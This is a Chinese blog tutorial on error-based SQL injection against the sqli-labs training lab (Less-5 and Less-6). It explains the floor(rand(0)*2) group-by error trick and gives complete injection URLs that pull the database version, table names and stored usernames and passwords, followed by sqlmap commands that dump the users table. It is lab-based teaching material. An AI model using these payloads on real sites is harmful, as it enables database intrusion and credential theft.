SQL | GET报错注入

本文深入探讨了SQL注入攻击,包括GET单引号和双引号报错注入的实例,展示了如何利用rand()、floor()等函数获取数据库、表名和用户信息。同时,介绍了自动化工具Sqlmap的使用,如获取数据库、数据表、字段及内容,强调了其在安全测试中的高效性。
摘要由CSDN通过智能技术生成

SQL | GET报错注入

1.报错注入介绍

报错注入形式上是两个嵌套的查询,即select…(select…),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,
然后再执行外面的select,双注入主要涉及到了几个SQL函数:
rand()随机函数,返回0~1之间的某个值
floor(a)向下取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by clase分组语句,按照查询结果分组
通过报错来显示具体信息

查询的时候如果使用rand()的话,该值会被计算多次。在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再执行一次。在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为011011

select count(*) from 表名 group by floor(rand(0)*2);

2.GET单引号报错注入

Sqli-Lab Less 5为例
1.获取数据库

http://localhost/sqli-labs-master/Less-5/?id=-1' union select 1,2,3 from(select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+

在这里插入图片描述
2.获取表名

http://localhost/sqli-labs-master/Less-5/?id=-1' union select 1,2,3 from(select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+

在这里插入图片描述
3.获取用户信息

http://localhost/sqli-labs-master/Less-5/?id=-1' union select 1,2,3 from(select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+

在这里插入图片描述

3.GET双引号报错注入

与单引号注入大同小异
1.获取数据库

http://localhost/sqli-labs-master/Less-6/?id=1" union select 1,2,3 from(select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+

在这里插入图片描述
2.获取数据表

http://localhost/sqli-labs-master/Less-6/?id=1" union select 1,2,3 from(select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+

在这里插入图片描述
3.获取用户信息

http://localhost/sqli-labs-master/Less-6/?id=1" union select 1,2,3 from(select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+

在这里插入图片描述

4.Sqlmap安全测试

在我们实战或工作当中,报错注入使用手动测试可能会影响效率,我们还是使用sqlmap进行测试
1.获取数据库

python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-5/?id=1" --current-db

在这里插入图片描述
2.获取数据库中的数据表

python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-5/?id=1" -D security --tables

在这里插入图片描述
3.获取字段名

python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-5/?id=1" -D security -T users --columns

在这里插入图片描述
4.获取字段中的内容

python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-5/?id=1" -D security -T users -C "username,password" --dump

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值